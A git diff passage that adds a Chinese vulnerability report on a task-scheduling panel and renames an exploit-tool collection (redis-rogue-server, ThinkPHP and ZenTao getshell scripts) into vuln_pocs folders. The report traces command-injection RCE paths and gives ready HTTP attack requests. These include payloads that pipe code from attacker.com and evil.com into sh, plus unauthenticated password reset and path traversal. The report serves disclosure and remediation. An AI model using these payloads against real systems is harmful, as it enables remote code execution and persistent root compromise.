校验为普通字符串)被直接传递给 `promiseExec()`,其内部调用 `child_process.exec()` 且未做任何过滤。 + +#### 数据流总览 + +``` +POST /API/subscriptions {"sub_before": "malicious_cmd"} + │ + ▼ +① api/subscription.ts L49 Joi.string().optional() ← 无安全过滤 + │ + ▼ +② services/subscription.ts L215 this.handleTask(doc) ← 处理订阅任务 + │ + ▼ +③ services/subscription.ts L96/L105 createCronTask/createIntervalTask (传入 taskCallbacks) + │ + ▼ +④ services/subscription.ts L141 beforeStr = await promiseExec(doc.sub_before) + │ ^^^^^^^^^^^^^^^^^^^^^^ + │ 恶意代码直接传入 exec 执行! + ▼ +⑤ config/util.ts L284 await promisify(exec)(command, {...}) ← 触发 RCE +``` + +#### 逐步详解 + +**① 入口 — `api/subscription.ts` L27-75** +接口 `POST /subscriptions` 中的 `sub_before` 和 `sub_after` 字段仅要求是普通字符串,允许空字符串。没有任何对于 Shell 元字符的过滤。 + +**②/③ 创建并执行 — `services/subscription.ts` L212-218 & L84-112** +`create` 方法在数据库插入后,立刻调用 `handleTask`,并进而调用 `createCronTask` 或 `createIntervalTask` 来执行调度。调度注册的各种生命周期钩子由 `this.taskCallbacks(doc)` 生成。 + +**④ 命令执行 (关键污染点) — `services/subscription.ts` L120-150** +```typescript +private taskCallbacks(doc: Subscription): TaskCallbacks { + return { + onBefore: async (startTime) => { + // ... + let beforeStr = ''; + try { + if (doc.sub_before) { + // 用户的输入未经任何检查被传入 promiseExec + beforeStr = await promiseExec(doc.sub_before); + } + } catch (error: any) { + // ... + } + } + } +} +``` + +**⑤ 底层执行 — `config/util.ts` L282-292** +`promiseExec` 是包装了 Node.js 原生 `child_process.exec` 的异步函数,`exec` 默认启动一个 shell 来解释执行传入的字符串。 + +**测试报文**: +```http +POST /API/subscriptions HTTP/1.1 +{ + "name": "rce_sub", "url": "http://x", "type": "public-repo", "alias": "r", + "schedule_type": "crontab", "sub_before": "id > /tmp/sub_proof.txt" +} +``` +→ 触发订阅运行(`PUT /API/subscriptions/run [id]`)后,注入的命令以 root 身份执行。 + +--- + +### 3.5 QL-2026-010: 系统镜像配置参数注入 — 🔴 致命 + +**漏洞根因**: 系统设置接口(如配置 Python、Node、Linux 的软件源镜像,或设置时区)在处理用户提交的地址参数时,存在多处直接字符串拼接命令注入点。结合 QL-2026-007,这些均可未授权利用。 + +#### 数据流总览(以 Python 镜像配置为例) + +``` +PUT /API/system/config/python-mirror {"pythonMirror": "malicious_payload"} + │ + ▼ +① api/system.ts L155 Joi.string().allow('').allow(null) ← 无安全过滤 + │ + ▼ +② services/system.ts L197 updatePythonMirror(info) + │ + ▼ +③ services/system.ts L205 cmd = `pip3 config set global.index-url ${info.pythonMirror}` + │ ^^^^^^^^^^^^^^^^^^^^^ + │ 直接拼接用户输入! + ▼ +④ services/system.ts L207 await promiseExec(cmd) ← exec() 触发 RCE +``` + +#### 逐步详解与多处注入点 + +系统服务 (`services/system.ts`) 中存在大量由于字符串拼接导致的命令注入,这些功能只允许管理员使用,但通过大小写绕过漏洞即可未授权触发: + +**1. Python 镜像注入 (`updatePythonMirror`) L197-209** +```typescript +let cmd = 'pip config unset global.index-url'; +if (info.pythonMirror) { + cmd = `pip3 config set global.index-url ${info.pythonMirror}`; +} +await promiseExec(cmd); // ← 传入 "https://pypi.org/simple; id > /tmp/py_proof" 将导致注入 +``` + +**2. Node 镜像注入 (`updateNodeMirror`) L149-195** +```typescript +let cmd = 'pnpm config delete registry'; +if (info.nodeMirror) { + cmd = `pnpm config set registry ${info.nodeMirror}`; +} +let command = `cd && ${cmd}`; +// ... 之后交由 scheduleService.runTask(command, ...) 执行 +``` +`runTask` 最终调用 `spawn(command, { shell: '/bin/bash' })` 触发注入。 + +**3. Linux 软件源注入 (`updateLinuxMirror`) L211-271** +```typescript +const command = `sed -i 's/${defaultDomain.replace(/\//g,'\\/')}/${targetDomain.replace(/\//g,'\\/')}/g' /etc/apk/repositories && apk update -f`; +// ... 交由 scheduleService.runTask 执行 +``` +这里 `$targetDomain` (`info.linuxMirror`) 被注入到了 `sed` 命令中,如果传入 `https://dl-cdn.alpinelinux.org'; id > /tmp/linux_proof; #` 即可逃逸单引号并执行。 + +**4. 停止命令(grep注入)(`api/system.ts`) L302-319** +调用 `PUT /API/system/command-stop`,其最终调用 `getPid(command)` +```typescript +// back/config/util.ts L414 +const taskCommand = `ps -eo pid,command | grep "${cmd}" | grep -v grep ...`; +``` +这与前面分析的依赖取消(`cancel`)逻辑相似,命令被嵌入双引号内执行,发生二次注入。 + +**测试报文**: +```http +PUT /API/system/config/python-mirror HTTP/1.1 +Content-Type: application/json + +{"pythonMirror": "x; id > /tmp/py_proof; #"} +``` +→ 确认 RCE ✅ + +--- + +### 3.6 QL-2026-011: 启动持久化 Persistence RCE — ✅ 高危 + +**漏洞根因**: 系统在启动时(`loaders/initData.ts`),为了恢复状态,会从数据库加载特定的定时任务,并直接调用原生 `exec` 函数去执行。这意味着如果我们能通过绕过认证写入恶意的定时任务,不仅可以主动触发执行,也能实现持久化的启动项劫持(Persistence)。 + +#### 数据流总览 + +``` +① 系统启动(Container Restart / Crash Recovery) + │ + ▼ +② loaders/initData.ts L22 默认导出加载函数执行 + │ + ▼ +③ loaders/initData.ts L137 CrontabModel.findAll(...) 查找条件包含 `ql repo` 或 `ql raw` + │ + ▼ +④ loaders/initData.ts L149 exec(doc.command) + ^^^^^^^^^^^^^^^^^ + 直接将查出的恶意命令传给 child_process.exec! +``` + +#### 逐步详解 + +**① 创建恶意定时任务** +攻击者通过未授权接口 (`POST /API/crons`) 创建一个恶意任务。为了匹配启动加载时的条件,该命令必须包含 `ql repo` 或 `ql raw` 字符串。 + +```http +POST /API/crons HTTP/1.1 +Content-Type: application/json + +{ + "name": "persistence_rce_test", + "command": "ql repo; curl http://attacker.com/backdoor | sh", + "schedule": "0 0 1 1 *" +} +``` + +**② 数据库记录** +定时任务的指令字符串会被原样存储入 SQLite。 + +**③ 启动触发执行 (`loaders/initData.ts` L137-153)** +当 Docker 容器发生重启,系统启动时: +```typescript +CrontabModel.findAll({ + where: { + isDisabled: { [Op.ne]: 1 }, + command: { + [Op.or]: [{ [Op.like]: `%ql repo%` }, { [Op.like]: `%ql raw%` }], + }, + }, +}).then((docs) => { + for (let i = 0; i < docs.length; i++) { + const doc = docs[i]; + if (doc) { + exec(doc.command); // ← 未经检查直接执行 + } + } +}); +``` + +**影响**: 该漏洞构建了完整的系统后门和持久化控制。无论管理员如何清理正在运行的恶意进程,只要未从数据库中清除这条恶意计划任务,每次容器重启时,恶意 Payload 就会随系统服务一同以 root 权限自动启动。 + +--- + +### 3.7 基础漏洞分析(路径穿越与文件操作) + +#### QL-2026-002: 黑名单绕过(缺少 return) +`back/api/config.ts` L76 在黑名单拦截后缺少 `return`,写入流程继续。可覆写 `auth.json`(管理员账号)。 + +#### QL-2026-003: 路径穿越 (../../../../) +`name` 参数无过滤。`../../../../tmp/traversal_proof.txt` 可成功写入容器系统级 `/tmp`。 + +#### QL-2026-004: config.sh 未列入黑名单 +`config.sh` 在每次任务执行前被 `source` 加载。由于未加入黑名单,攻击者可直接写入该文件获取持久 RCE。 + +--- + +## 四、攻击链总结与 HTTP 测试报文 + +### 攻击链 A:最速一步 RCE (大小写绕过) + +```http +PUT /API/system/command-run HTTP/1.1 +Host: target:5700 +Content-Type: application/json + +{"command": "id > /tmp/rce_proof.txt"} +``` + +### 攻击链 B:依赖注入 RCE (大小写绕过 + 二次注入) + +```http +POST /API/dependencies HTTP/1.1 +Content-Type: application/json + +[{"name": "$(curl -fsSL https://evil.com/sh | sh)", "type": 0}] +``` + +### 攻击链 C:凭据重置 RCE (初始化绕过) + +```http +PUT /open/user/init HTTP/1.1 +Content-Type: application/json + +{"username": "attacker", "password": "attacker123"} +``` + +--- + +## 五、修复建议 (P0 优先级) + +1. **统一认证层**: 将 Init Guard 移至 URL Rewrite 之后。Express Router 设置 `caseSensitive: true`。认证正则强制不区分大小写。 +2. **彻底禁用 Shell**: 移除所有 `spawn(..., {shell: true})` 和 `exec()`。必须使用 `spawn(cmd, [args])` 参数数组形式。 +3. **严格参数过滤**: 对包名、镜像 URL、Cron 命令等参数实施白名单正则校验 `^[a-zA-Z0-9@/_.-]+$`。 +4. **文件访问控制**: 完善 `blackFileList`,在 `res.send()` 后强制 `return`。实施基于真实路径 (`realpath`) 的目录逃逸校验。 + +--- + +## 六、复现环境与 PoC + +所有漏洞均已集成在 `tmp/poc_test.py` 中。 + +```bash +cd tmp/ +.venv/bin/python3 poc_test.py # 15/15 全部通过 +``` diff --git a/redis-rogue-server/LICENSE b/vuln_pocs/exploit-tools/redis-rogue-server/LICENSE similarity index 100% rename from redis-rogue-server/LICENSE rename to vuln_pocs/exploit-tools/redis-rogue-server/LICENSE diff --git a/redis-rogue-server/README.md b/vuln_pocs/exploit-tools/redis-rogue-server/README.md similarity index 100% rename from redis-rogue-server/README.md rename to vuln_pocs/exploit-tools/redis-rogue-server/README.md diff --git a/redis-rogue-server/RedisModulesSDK/Makefile b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/Makefile similarity index 100% rename from redis-rogue-server/RedisModulesSDK/Makefile rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/Makefile diff --git a/redis-rogue-server/RedisModulesSDK/exp/Makefile b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/exp/Makefile similarity index 100% rename from redis-rogue-server/RedisModulesSDK/exp/Makefile rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/exp/Makefile diff --git a/redis-rogue-server/RedisModulesSDK/exp/exp.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/exp/exp.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/exp/exp.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/exp/exp.c diff --git a/redis-rogue-server/RedisModulesSDK/redismodule.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/redismodule.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/redismodule.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/redismodule.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/Makefile b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/Makefile similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/Makefile rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/Makefile diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/alloc.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/alloc.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/alloc.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/alloc.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/alloc.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/alloc.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/alloc.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/alloc.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/alloc.o b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/alloc.o similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/alloc.o rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/alloc.o diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/heap.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/heap.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/heap.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/heap.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/heap.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/heap.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/heap.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/heap.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/librmutil.a b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/librmutil.a similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/librmutil.a rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/librmutil.a diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/logging.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/logging.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/logging.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/logging.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/periodic.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/periodic.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/periodic.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/periodic.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/periodic.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/periodic.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/periodic.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/periodic.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/periodic.o b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/periodic.o similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/periodic.o rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/periodic.o diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/priority_queue.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/priority_queue.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/priority_queue.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/priority_queue.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/priority_queue.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/priority_queue.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/priority_queue.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/priority_queue.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/sds.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/sds.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/sds.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/sds.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/sds.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/sds.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/sds.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/sds.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/sds.o b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/sds.o similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/sds.o rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/sds.o diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/sdsalloc.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/sdsalloc.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/sdsalloc.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/sdsalloc.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/strings.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/strings.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/strings.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/strings.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/strings.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/strings.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/strings.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/strings.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/strings.o b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/strings.o similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/strings.o rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/strings.o diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/test.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/test.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/test_heap.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test_heap.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/test_heap.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test_heap.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/test_periodic.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test_periodic.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/test_periodic.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test_periodic.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/test_priority_queue.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test_priority_queue.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/test_priority_queue.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test_priority_queue.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/test_util.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test_util.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/test_util.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test_util.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/test_vector.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test_vector.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/test_vector.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/test_vector.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/util.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/util.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/util.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/util.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/util.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/util.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/util.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/util.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/util.o b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/util.o similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/util.o rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/util.o diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/vector.c b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/vector.c similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/vector.c rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/vector.c diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/vector.h b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/vector.h similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/vector.h rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/vector.h diff --git a/redis-rogue-server/RedisModulesSDK/rmutil/vector.o b/vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/vector.o similarity index 100% rename from redis-rogue-server/RedisModulesSDK/rmutil/vector.o rename to vuln_pocs/exploit-tools/redis-rogue-server/RedisModulesSDK/rmutil/vector.o diff --git a/redis-rogue-server/exp.so b/vuln_pocs/exploit-tools/redis-rogue-server/exp.so similarity index 100% rename from redis-rogue-server/exp.so rename to vuln_pocs/exploit-tools/redis-rogue-server/exp.so diff --git a/redis-rogue-server/redis-rogue-server.py b/vuln_pocs/exploit-tools/redis-rogue-server/redis-rogue-server.py similarity index 100% rename from redis-rogue-server/redis-rogue-server.py rename to vuln_pocs/exploit-tools/redis-rogue-server/redis-rogue-server.py diff --git a/tp5-getshell/README.md b/vuln_pocs/exploit-tools/tp5-getshell/README.md similarity index 100% rename from tp5-getshell/README.md rename to vuln_pocs/exploit-tools/tp5-getshell/README.md diff --git "a/tp5-getshell/TP5_RCE\345\220\210\351\233\206.md" "b/vuln_pocs/exploit-tools/tp5-getshell/TP5_RCE\345\220\210\351\233\206.md" similarity index 100% rename from "tp5-getshell/TP5_RCE\345\220\210\351\233\206.md" rename to "vuln_pocs/exploit-tools/tp5-getshell/TP5_RCE\345\220\210\351\233\206.md" diff --git a/tp5-getshell/ThinkPHP.md b/vuln_pocs/exploit-tools/tp5-getshell/ThinkPHP.md similarity index 100% rename from tp5-getshell/ThinkPHP.md rename to vuln_pocs/exploit-tools/tp5-getshell/ThinkPHP.md diff --git a/tp5-getshell/batch_result/20181212002851/20181212002851/success.txt b/vuln_pocs/exploit-tools/tp5-getshell/batch_result/20181212002851/20181212002851/success.txt similarity index 100% rename from tp5-getshell/batch_result/20181212002851/20181212002851/success.txt rename to vuln_pocs/exploit-tools/tp5-getshell/batch_result/20181212002851/20181212002851/success.txt diff --git "a/tp5-getshell/demo/lsablog.com-ThinkPHP5 RCE\346\274\217\346\264\236\351\207\215\347\216\260\345\217\212\345\210\206\346\236\220.pdf" "b/vuln_pocs/exploit-tools/tp5-getshell/demo/lsablog.com-ThinkPHP5 RCE\346\274\217\346\264\236\351\207\215\347\216\260\345\217\212\345\210\206\346\236\220.pdf" similarity index 100% rename from "tp5-getshell/demo/lsablog.com-ThinkPHP5 RCE\346\274\217\346\264\236\351\207\215\347\216\260\345\217\212\345\210\206\346\236\220.pdf" rename to "vuln_pocs/exploit-tools/tp5-getshell/demo/lsablog.com-ThinkPHP5 RCE\346\274\217\346\264\236\351\207\215\347\216\260\345\217\212\345\210\206\346\236\220.pdf" diff --git a/tp5-getshell/demo/p0.png b/vuln_pocs/exploit-tools/tp5-getshell/demo/p0.png similarity index 100% rename from tp5-getshell/demo/p0.png rename to vuln_pocs/exploit-tools/tp5-getshell/demo/p0.png diff --git a/tp5-getshell/demo/p1.png b/vuln_pocs/exploit-tools/tp5-getshell/demo/p1.png similarity index 100% rename from tp5-getshell/demo/p1.png rename to vuln_pocs/exploit-tools/tp5-getshell/demo/p1.png diff --git a/tp5-getshell/demo/p2.png b/vuln_pocs/exploit-tools/tp5-getshell/demo/p2.png similarity index 100% rename from tp5-getshell/demo/p2.png rename to vuln_pocs/exploit-tools/tp5-getshell/demo/p2.png diff --git a/tp5-getshell/demo/p3.png b/vuln_pocs/exploit-tools/tp5-getshell/demo/p3.png similarity index 100% rename from tp5-getshell/demo/p3.png rename to vuln_pocs/exploit-tools/tp5-getshell/demo/p3.png diff --git a/tp5-getshell/demo/p4.png b/vuln_pocs/exploit-tools/tp5-getshell/demo/p4.png similarity index 100% rename from tp5-getshell/demo/p4.png rename to vuln_pocs/exploit-tools/tp5-getshell/demo/p4.png diff --git a/tp5-getshell/image/ThinkPHP/2017-07-03.png b/vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2017-07-03.png similarity index 100% rename from tp5-getshell/image/ThinkPHP/2017-07-03.png rename to vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2017-07-03.png diff --git a/tp5-getshell/image/ThinkPHP/2017-08-09-1.png b/vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2017-08-09-1.png similarity index 100% rename from tp5-getshell/image/ThinkPHP/2017-08-09-1.png rename to vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2017-08-09-1.png diff --git a/tp5-getshell/image/ThinkPHP/2017-08-09-2.png b/vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2017-08-09-2.png similarity index 100% rename from tp5-getshell/image/ThinkPHP/2017-08-09-2.png rename to vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2017-08-09-2.png diff --git a/tp5-getshell/image/ThinkPHP/2017-08-09-3.png b/vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2017-08-09-3.png similarity index 100% rename from tp5-getshell/image/ThinkPHP/2017-08-09-3.png rename to vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2017-08-09-3.png diff --git a/tp5-getshell/image/ThinkPHP/2018-04-09.png b/vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2018-04-09.png similarity index 100% rename from tp5-getshell/image/ThinkPHP/2018-04-09.png rename to vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2018-04-09.png diff --git a/tp5-getshell/image/ThinkPHP/2018-08-23.png b/vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2018-08-23.png similarity index 100% rename from tp5-getshell/image/ThinkPHP/2018-08-23.png rename to vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2018-08-23.png diff --git a/tp5-getshell/image/ThinkPHP/2018-12-10.png b/vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2018-12-10.png similarity index 100% rename from tp5-getshell/image/ThinkPHP/2018-12-10.png rename to vuln_pocs/exploit-tools/tp5-getshell/image/ThinkPHP/2018-12-10.png diff --git a/tp5-getshell/requirements.txt b/vuln_pocs/exploit-tools/tp5-getshell/requirements.txt similarity index 56% rename from tp5-getshell/requirements.txt rename to vuln_pocs/exploit-tools/tp5-getshell/requirements.txt index a2398ade1..0639a53fe 100644 --- a/tp5-getshell/requirements.txt +++ b/vuln_pocs/exploit-tools/tp5-getshell/requirements.txt @@ -1,2 +1,2 @@ -requests==2.31.0 +requests==2.33.0 beautifulsoup4==4.6.3 diff --git a/tp5-getshell/tp5-getshell.py b/vuln_pocs/exploit-tools/tp5-getshell/tp5-getshell.py similarity index 100% rename from tp5-getshell/tp5-getshell.py rename to vuln_pocs/exploit-tools/tp5-getshell/tp5-getshell.py diff --git a/tp5-getshell/urls.txt b/vuln_pocs/exploit-tools/tp5-getshell/urls.txt similarity index 100% rename from tp5-getshell/urls.txt rename to vuln_pocs/exploit-tools/tp5-getshell/urls.txt diff --git a/zentao-getshell/README.md b/vuln_pocs/exploit-tools/zentao-getshell/README.md similarity index 100% rename from zentao-getshell/README.md rename to vuln_pocs/exploit-tools/zentao-getshell/README.md diff --git a/zentao-getshell/exp.py b/vuln_pocs/exploit-tools/zentao-getshell/exp.py similarity index 100% rename from zentao-getshell/exp.py rename to vuln_pocs/exploit-tools/zentao-getshell/exp.py diff --git a/zentao-getshell/exp_py3.py b/vuln_pocs/exploit-tools/zentao-getshell/exp_py3.py similarity index 100% rename from zentao-getshell/exp_py3.py rename to vuln_pocs/exploit-tools/zentao-getshell/exp_py3.py diff --git a/zentao-getshell/zentao.gif b/vuln_pocs/exploit-tools/zentao-getshell/zentao.gif similarity index 100% rename from zentao-getshell/zentao.gif rename to vuln_pocs/exploit-tools/zentao-getshell/zentao.gif diff --git a/zentao-getshell/zentao.jpg b/vuln_pocs/exploit-tools/zentao-getshell/zentao.jpg similarity index 100% rename from zentao-getshell/zentao.jpg rename to vuln_pocs/exploit-tools/zentao-getshell/zentao.jpg diff --git a/Apache Solr RCE via Velocity Template Injection.md b/web/Apache Solr RCE via Velocity Template Injection.md similarity index 100% rename from Apache Solr RCE via Velocity Template Injection.md rename to web/Apache Solr RCE via Velocity Template Injection.md diff --git "a/CVE-2019-10173 Xstream 1.4.10\347\211\210\346\234\254\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236.md" "b/web/CVE-2019-10173 Xstream 1.4.10\347\211\210\346\234\254\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236.md" similarity index 100% rename from "CVE-2019-10173 Xstream 1.4.10\347\211\210\346\234\254\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236.md" rename to "web/CVE-2019-10173 Xstream 1.4.10\347\211\210\346\234\254\350\277\234\347\250\213\344\273\243\347\240\201\346\211\247\350\241\214\346\274\217\346\264\236.md" diff --git "a/CVE-2019-15107 Webmin 1.920 \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" "b/web/CVE-2019-15107 Webmin 1.920 \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" similarity index 100% rename from "CVE-2019-15107 Webmin 1.920 \350\277\234\347\250\213\345\221\275\344\273\244\346\211\247\350\241\214\346\274\217\346\264\236.md" rename to "web/CVE-2019-15107 Webmin 1.920 